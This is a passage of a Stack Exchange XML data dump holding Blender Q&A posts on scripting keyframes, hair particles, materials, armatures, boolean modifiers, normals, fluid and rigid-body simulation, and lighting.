action&#xA;object.location = currentLocation;                    #Move object       &#xA;object.keyframe_insert(data_path=&quot;location&quot;, frame=currentFrame, index=0) #Insert keyframe&#xA;bpy.context.scene.frame_current = 1                   #Return to first keyframe &#xA;object.animation_data.action = None;                  #Remove Action            &#xA;bpy.context.scene.frame_current = currentFrame;       #Return to initial frame&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, how do I avoid the offsetting issue when running the script from the text editor (which will later be an operator)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included a blend file &lt;a href=&quot;http://www.pasteall.org/blend/26422&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, it is already set up with one keyframe in the action on frame 1. Setting a second keyframe on frame 10 by running the code line by line in the python console will show the correct result, running the script from the text editor will not.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-01-25T00:11:22.870" Title="How to stop Action Constraint giving different results when code is run in text editor vs python console?" Tags="&lt;python&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6470" PostTypeId="2" ParentId="6381" CreationDate="2014-01-22T16:03:01.183" Score="5" Body="&lt;p&gt;@Leon Cheung is almost right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hairs are coming out exactly parallel to the normal. Because all the hairs on each face are pointing exactly the same direction, the shading on the hairs is going to change sharply at the edge of each face, even though you're using smooth shading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to solve this &quot;problem&quot; is tweaking the &lt;strong&gt;Random&lt;/strong&gt; value on the children. This will prevent the hairs on one face from all pointing exactly the same direction. Another thing you can tweak is the random rotation. Just add a &lt;em&gt;very&lt;/em&gt; small amount of randomness, and this will also keep them from all facing the same direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These solutions should work without having to make your hairs longer.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-22T16:03:01.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6471" PostTypeId="1" CreationDate="2014-01-22T21:19:30.813" Score="2" ViewCount="617" Body="&lt;p&gt;I am making my own james bond gunbarrel sequence, and when the blood droops down, it needs to look thick but transparent at the same time. I am wondering how to achieve this affect. To understand what I mean entirely, please check out the casino royale gunbarrel sequence on youtube. Thanks &lt;/p&gt;&#xA;" OwnerUserId="2227" LastEditorUserId="14" LastEditDate="2014-01-23T13:52:12.797" LastActivityDate="2017-04-17T13:00:26.017" Title="How can I make objects transparent but thick at the same time" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6472" PostTypeId="1" AcceptedAnswerId="6585" CreationDate="2014-01-23T01:02:17.643" Score="4" ViewCount="1170" Body="&lt;p&gt;Is it possible to bake a fluid simulation into a blend file, instead of a separate cache folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reason is, I'm using a renderfarm to upload animation files. The renderfarm only accepts packed blend files and no external folders. I understand it's possible to bake a cloth simulation into a blend file, but not sure how to do the same for a fluid simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2228" LastActivityDate="2017-07-19T11:16:45.147" Title="Is it possible to bake fluid simulation into blend file?" Tags="&lt;fluid-simulation&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6474" PostTypeId="1" AcceptedAnswerId="6476" CreationDate="2014-01-23T04:44:38.803" Score="8" ViewCount="1461" Body="&lt;p&gt;I've been looking at tutorials on how to rig a model and found this one.&lt;/p&gt;&#xA;&lt;p&gt;Why does this guy's bones look like boxes while all the others look like triangular arrows? Is there a functional difference or just for ease of viewing? How do I enable/disable this display?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BdAlv.png&quot; alt=&quot;Bones&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-23T12:49:43.127" Title="Why do some bones look like boxes and others like arrows?" Tags="&lt;interface&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6475" PostTypeId="2" ParentId="6471" CreationDate="2014-01-23T05:26:41.550" Score="4" Body="&lt;p&gt;&quot;Transparent but thick&quot; would sometimes mean &quot;translucent&quot;, I suppose. However, the casino royale gunbarrel sequence effect on YouTube seems not. I think you are trying to make things like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CuNf4.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3NqrU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or something more controllable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxXGJ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SzHIP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2017-04-17T13:00:26.017" LastActivityDate="2017-04-17T13:00:26.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6476" PostTypeId="2" ParentId="6474" CreationDate="2014-01-23T05:50:46.133" Score="9" Body="&lt;p&gt;Here are the different shapes for an armature. Also the different controls for changing it. It is for you to decide what you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lrOOA.png&quot; alt=&quot;armature display&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one exception to this is that if you create your vertex weight from envelopes, you can view what will be affected with the envelope option. You must go into edit mode to see all details. More about it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Editing/Properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Editing/Properties&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2014-01-23T06:40:03.730" LastActivityDate="2014-01-23T06:40:03.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6477" PostTypeId="2" ParentId="6474" CreationDate="2014-01-23T06:40:31.373" Score="4" Body="&lt;p&gt;The boxes could also be &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Visualization&quot; rel=&quot;nofollow noreferrer&quot;&gt;Custom-Shapes&lt;/a&gt;. The tab shown in the image is only availabe in &lt;em&gt;Pose or Object Mode&lt;/em&gt;. From the layer panel in your screenshot I would guess that the custom shapes are at layer 11 (The one under layer 1 which is currently selected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a rigify-rig:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0tpBT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-01-23T12:49:43.127" LastActivityDate="2014-01-23T12:49:43.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6478" PostTypeId="1" CreationDate="2014-01-23T12:29:53.777" Score="4" ViewCount="1251" Body="&lt;p&gt;I've got a problem with my rendering! I'm trying to render some objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8z8W1.jpg&quot; alt=&quot;3D view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, this is how it renders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nuVCX.jpg&quot; alt=&quot;incorrect render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me out?&lt;/p&gt;&#xA;" OwnerUserId="2231" LastEditorUserId="2217" LastEditDate="2014-10-02T13:16:52.097" LastActivityDate="2014-10-02T13:16:52.097" Title="Render has strange artifacts" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6479" PostTypeId="1" AcceptedAnswerId="6482" CreationDate="2014-01-23T13:50:42.887" Score="3" ViewCount="2422" Body="&lt;p&gt;I have a simple object I'm trying to merge into a single mesh constructed from 2 cylinders and a semi-sphere. I &quot;merged&quot; them using 2 &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boolean&lt;/a&gt; modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9hDOS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YZu9J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is close but I want it to be a single object so that I can copy and paste it and have multiples. So I select the 3 individual objects and press &lt;kbd&gt;Control&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to join them into a single object. By doing so the objects are merged but the boolean modifier is lost causing there to be seams in between the objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8VmAL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have a boolean of multiple objects, merge it down into a single mesh, and preserve the union between the objects from the original boolean? (I don't care about it being dynamic, I want the final mesh.) Or can this only be done by deleting and connecting the proper vertices manually and then creating the faces?&lt;/p&gt;&#xA;" OwnerUserId="1293" LastEditorUserId="20" LastEditDate="2014-01-23T18:48:24.833" LastActivityDate="2014-01-23T18:48:24.833" Title="How to join booleaned objects without leaving seams?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6480" PostTypeId="2" ParentId="6478" CreationDate="2014-01-23T14:10:54.627" Score="9" Body="&lt;p&gt;Your object's normals are not in the right direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to select all your object one after one and do this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; for edit mode, then go to the Tools panel on left of the 3d view (&lt;kbd&gt;t&lt;/kbd&gt;)and click on Recalculate on the Normals pannel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UMfQn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;This will correct how your normals are directed and also in your case your render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see the direction of your normals (which have to always go on the outside of your object) go on the UI panel on right of the 3d view (&lt;kbd&gt;n&lt;/kbd&gt;) go to mesh display and select display face (or vertex) normals as line here:&lt;img src=&quot;https://i.stack.imgur.com/FMMzg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and little line are going to show you were your normals are pointing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least : For a better render (a smooth shading of your object) you can add a smooth on the Tools pannel on left &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ETxPI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-01-23T14:10:54.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6481" PostTypeId="2" ParentId="6479" CreationDate="2014-01-23T15:11:05.817" Score="6" Body="&lt;p&gt;If you join two objects into one, then boolean modifier between them is meaningless, since only one left. Actually, they can be merged after applying the modifier. That's for your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, I think a better idea for such simple shape is to model it with a few steps, with some basic tools that Blender offers, which is also easy to do, and gets better result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VN3tT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-23T16:02:05.823" LastActivityDate="2014-01-23T16:02:05.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6482" PostTypeId="2" ParentId="6479" CreationDate="2014-01-23T18:06:50.140" Score="2" Body="&lt;p&gt;To model your object with the Boolean modifier.&lt;/p&gt;&#xA;&lt;p&gt;Add a Boolean modifier to the Sphere on top (Sphere.top in picture). The object to target is the middle cylinder. (Cylinder.middle in picture)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9tp3y.png&quot; alt=&quot;Sphere.top modifier&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then on the bottom cylinder (Cylinder.bottom in picture) add another Boolean modifier. The object to target on this the top Sphere. (Sphere.top in picture)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/on76d.png&quot; alt=&quot;Cylinder.bottom modifier&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then just apply the Boolean modifier on the bottom Cylinder, and you will have your mesh.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-23T18:06:50.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6483" PostTypeId="1" CreationDate="2014-01-23T19:40:09.283" Score="1" ViewCount="918" Body="&lt;p&gt;I used to export armatures in 2.49 using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# armature&#xA;for bone in data.bones.values():&#xA;    pariente = bone.parent&#xA;    if (pariente):&#xA;        matriz_p = Blender.Mathutils.Matrix(pariente.matrix['ARMATURESPACE'])&#xA;&#xA;    matriz = Blender.Mathutils.Matrix(bone.matrix['ARMATURESPACE'])&#xA;    if (pariente):&#xA;        matriz = matriz*matriz_p.invert()&#xA;&#xA;    trans = matriz.translationPart()&#xA;    rot = matriz.toQuat()&#xA;    rot = rot.normalize()&#xA;&#xA;    buf = &quot;\n&quot; + str(trans.x) + &quot; &quot; + str(trans.y) + &quot; &quot; + str(trans.z)&#xA;    buf += &quot;\n&quot; + str(rot.x) + &quot; &quot; + str(rot.y) + &quot; &quot; + str(rot.z) + &quot; &quot; + str(rot.w)&#xA;    file.write(buf)&#xA;&#xA;&#xA;#keyframes&#xA;for bone in pose.bones.values():        &#xA;&#xA;        buf = &quot;\n&quot; + str(bone.loc.x) + &quot; &quot; + str(bone.loc.y) + &quot; &quot; + str(bone.loc.z)&#xA;        buf += &quot;\n&quot; + str(bone.quat.x) + &quot; &quot; + str(bone.quat.y) + &quot; &quot; + str(bone.quat.z) + &quot; &quot; + str(bone.quat.w)&#xA;        buf += &quot;\n&quot; + str(bone.size.x) + &quot; &quot; + str(bone.size.y) + &quot; &quot; + str(bone.size.z)            &#xA;&#xA;        file.write(buf)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to convert it for use in 2.69 and i got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for bone in obj.data.bones:&#xA;pariente = bone.parent&#xA;&#xA;if (pariente):&#xA;    matriz_p = mathutils.Matrix(pariente.matrix_local)&#xA;&#xA;matriz = mathutils.Matrix(bone.matrix_local)&#xA;if (pariente):&#xA;    matriz_p_inv = matriz_p&#xA;    matriz_p_inv.invert()&#xA;    matriz = matriz_p_inv * matriz&#xA;&#xA;trans = matriz.to_translation()&#xA;rot =  matriz.to_quaternion()&#xA;rot.normalize()&#xA;&#xA;buf = str(trans.x) + &quot; &quot; + str(trans.y) + &quot; &quot; + str(trans.z) + &quot;\n&quot;&#xA;buf += str(rot.x) + &quot; &quot; + str(rot.y) + &quot; &quot; + str(rot.z) + &quot; &quot; + str(rot.w) + &quot;\n&quot;&#xA;file.write(buf)&#xA;&#xA;buf = str( int(obj.animation_data.action.frame_range[1]) ) + &quot;\n&quot;&#xA;file.write(buf)&#xA;&#xA;Scene = bpy.context.scene&#xA;&#xA;for bone in obj.pose.bones:&#xA;for Frame in range( int(obj.animation_data.action.frame_range[0]), int(obj.animation_data.action.frame_range[1]) + 1 ):&#xA;    Scene.frame_set(Frame)&#xA;&#xA;    pariente = bone.parent&#xA;    if (pariente):&#xA;        matriz_p = mathutils.Matrix(pariente.matrix_channel)&#xA;&#xA;    matriz_l = mathutils.Matrix(bone.bone.matrix_local)&#xA;    matriz_l.invert()&#xA;    matriz = mathutils.Matrix(bone.matrix)&#xA;    if (pariente):&#xA;        matriz_p_inv = matriz_p&#xA;        matriz_p_inv.invert()&#xA;        matriz = (matriz_l*matriz_p_inv) * matriz&#xA;    else:&#xA;        matriz = matriz_l * matriz&#xA;&#xA;    trans = matriz.to_translation()&#xA;    rot =  matriz.to_quaternion()&#xA;    rot.normalize()&#xA;&#xA;    buf = str(trans.x) + &quot; &quot; + str(trans.y) + &quot; &quot; + str(trans.z) + &quot;\n&quot;&#xA;    buf += str(rot.x) + &quot; &quot; + str(rot.y) + &quot; &quot; + str(rot.z) + &quot; &quot; + str(rot.w) + &quot;\n&quot;&#xA;    file.write(buf) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I based it on the way the milkshape exporter works, but it seems the keyframe matrices are wrong because it gives me an incorrect rotation and scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: how do i get the same pose matrix data as 2.49 in 2.69?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance and sorry for the long post.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2020-11-16T04:20:31.887" Title="how to export armatures" Tags="&lt;python&gt;&lt;export&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6484" PostTypeId="1" AcceptedAnswerId="6485" CreationDate="2014-01-23T20:07:35.213" Score="4" ViewCount="1503" Body="&lt;p&gt;Right now, I have a render that looks something like: &lt;a href=&quot;http://tinypic.com/player.php?v=2u4ojs0%3E&amp;amp;s=5#.UuFy2RDna1s&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the fluid is ignoring the soft body simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I could make the fluid respect the soft body simulation?  It doesn't need to be &lt;em&gt;good&lt;/em&gt; - this isn't an engineering project - but the fluid needs to follow with the soft body, more or less.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there &lt;em&gt;ANY&lt;/em&gt; way within blender to make a fluid simulation respect &lt;strong&gt;&lt;em&gt;any&lt;/em&gt;&lt;/strong&gt; deformations at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: What does it mean to Apply a fludism modifier?&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2014-01-23T21:38:31.330" Title="Can fluid respect soft bodies (or any deformation!) in blender?" Tags="&lt;modifiers&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6485" PostTypeId="2" ParentId="6484" CreationDate="2014-01-23T20:47:00.790" Score="5" Body="&lt;p&gt;In short, no. The fluid sim won't interact with any other simulator. But there is a way around this limitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the obstacle object, selected &lt;code&gt;Export Animated Mesh&lt;/code&gt;, this will animate the mesh itself, rather than simulating the mesh. As a &quot;real&quot; mesh, the fluid sim will treat it like any other mesh, and react to it appropriately. However, this will have to be repeated anytime you want to change the physics simulation. Incidentally, this also means that the soft-body cannot react to the fluid sim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q9dsF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="1653" LastEditDate="2014-01-23T21:38:31.330" LastActivityDate="2014-01-23T21:38:31.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6486" PostTypeId="1" AcceptedAnswerId="6507" CreationDate="2014-01-23T21:25:42.653" Score="6" ViewCount="1376" Body="&lt;p&gt;I'm trying to create tank tracks and I've followed the steps outlined in the answer of this question &lt;a href=&quot;https://blender.stackexchange.com/questions/510/how-can-i-duplicate-a-mesh-along-a-curve&quot;&gt;How can I duplicate a mesh along a curve?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as the curve is somewhat straight the tracks align quite perfectly, but as soon as there is bend in the tracks, the connector thingy of the tracks do not want to align (red arrow in image) &lt;img src=&quot;https://i.stack.imgur.com/4OrD8.png&quot; alt=&quot;tanks tracks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried moving the pivot of the individual track but I didn't improve the situation much.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make sure that all my tracks align even if there's a curve in the path they follow?&lt;/p&gt;&#xA;" OwnerUserId="512" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2014-01-24T18:37:22.570" Title="Duplicate along path with uniform spacing" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6487" PostTypeId="1" AcceptedAnswerId="6492" CreationDate="2014-01-23T23:45:08.627" Score="7" ViewCount="5474" Body="&lt;p&gt;I have a ground plane set up with a hair particle system, it is set as a passive rigid body.&lt;br&gt;&#xA;Now I want to be able to drop my Active rigid bodies, and have them collide and lay on top of the hair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more I'm trying to find a way to make the hair particles mat down where the rigid bodies hit them.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-15T16:14:49.363" LastActivityDate="2014-12-15T16:14:49.363" Title="Make rigid body collide with hair particles" Tags="&lt;rigid-body-simulation&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6488" PostTypeId="1" AcceptedAnswerId="6489" CreationDate="2014-01-24T00:14:42.277" Score="14" ViewCount="1440" Body="&lt;p&gt;Here's a portion of a render I'm working on, which is backlit from behind by a spotlight with a &quot;Halo&quot; effect applied:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qyY0Z.png&quot; alt=&quot;Spotlight with halo&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look carefully in the background, you'll notice the halo effect is creating &quot;rings&quot; of shadow as it fades.  How can I remove these rings and make the halo effect fade out smoothly?  I've played around with all the settings I can find without any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current settings for the spotlight:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QizAH.png&quot; alt=&quot;Spotlight settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2174" LastActivityDate="2014-07-06T18:57:47.553" Title="Spotlight with Halo applied is creating rings around light" Tags="&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6489" PostTypeId="2" ParentId="6488" CreationDate="2014-01-24T00:23:03.650" Score="18" Body="&lt;p&gt;That is a dithering problem. Which is not really a problem at all, but rather what physically must happen. That occurs any time there is a small change in color spread over a large area.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the ways to get rid of the banding is to make a stronger contrast, such as a pure black background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to deal with it. Is under the &lt;code&gt;Render&lt;/code&gt; tab in the &lt;code&gt;Properties&lt;/code&gt; window. Set the dithering amount up a bit until the color banding is not visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BWcMJ.png&quot; alt=&quot;post processing dither&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-06T18:57:47.553" LastActivityDate="2014-07-06T18:57:47.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6490" PostTypeId="1" AcceptedAnswerId="6491" CreationDate="2014-01-24T01:49:21.290" Score="2" ViewCount="1426" Body="&lt;p&gt;Having selected &quot;User Preferences&quot; from the leftmost menu thingy, the Blender UI replaces the main menu with a bar with some buttons that offer to save settings or install from file. If you're lucky you discover that you can drag down this bar to reveal the actual User Preferences panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then when you're done, how do you get the main back? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I of course went on a detour to discover how to get rid of unwanted panels that proliferate as you try to close panels, but even that &quot;join area&quot; method doesn't work in this case because the User Preferences panel spans the entire main window, and its lower border is shared with three wanted panels rather than just one neighbor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually I had to quit Blender completely just to be able to exit from Preferences, and restart with a menu. Surely this can't be the intended way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.69, Windows 64.&lt;/p&gt;&#xA;" OwnerUserId="2235" LastEditorUserId="14" LastEditDate="2014-01-24T06:57:04.747" LastActivityDate="2014-01-24T06:57:04.747" Title="How to exit User Preferences mode?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6491" PostTypeId="2" ParentId="6490" CreationDate="2014-01-24T02:30:24.207" Score="3" Body="&lt;p&gt;The way you should get to the &lt;code&gt;User preferences&lt;/code&gt; is through the menu in the info window. That will open up a separate floating window, just click the regular windows close button to exit. (as in the first picture)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I think what you did is change the editor type by clicking on the button in the very top left. If that is the case then just click on that same button and change the editor type back to the Info view. (see 2nd picture)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/smOWg.jpg&quot; alt=&quot;User preferences&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GjLpg.png&quot; alt=&quot;editor type&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-01-24T02:30:24.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6492" PostTypeId="2" ParentId="6487" CreationDate="2014-01-24T04:08:37.297" Score="6" Body="&lt;p&gt;As gandalf3 said, you can enable &lt;strong&gt;Collision&lt;/strong&gt; on the rigid bodies, and set &lt;strong&gt;Hair Dynamics&lt;/strong&gt; in the hair particle setting. (&lt;a href=&quot;http://www.pasteall.org/blend/26453&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;demo file&lt;/strong&gt;&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also add &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Force_Fields&quot; rel=&quot;noreferrer&quot;&gt;Force Field&lt;/a&gt; to the Active rigid bodies to simulate the collision, since Hair particles react directly to force fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a375S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-24T08:57:36.603" LastActivityDate="2014-01-24T08:57:36.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6493" PostTypeId="1" AcceptedAnswerId="6499" CreationDate="2014-01-24T07:23:26.650" Score="5" ViewCount="1368" Body="&lt;p&gt;I'm trying to project an image onto an object using a spotlight:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rror1.png&quot; alt=&quot;Scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image is a somewhat random colour pattern which you can see on the top surface of the rendered cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mr29W.png&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem that I'm facing is that the pattern is not rendered correctly on the two sides of the cube. It looks as if the light rays were projected from above and were just smeared across the sides of the cube ignoring the location of the spotlight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? Any help would be greatly appreciated..&lt;/p&gt;&#xA;" OwnerUserId="2236" LastActivityDate="2014-01-24T10:53:08.123" Title="How to properly project a pattern from a spotlight cone?" Tags="&lt;texturing&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
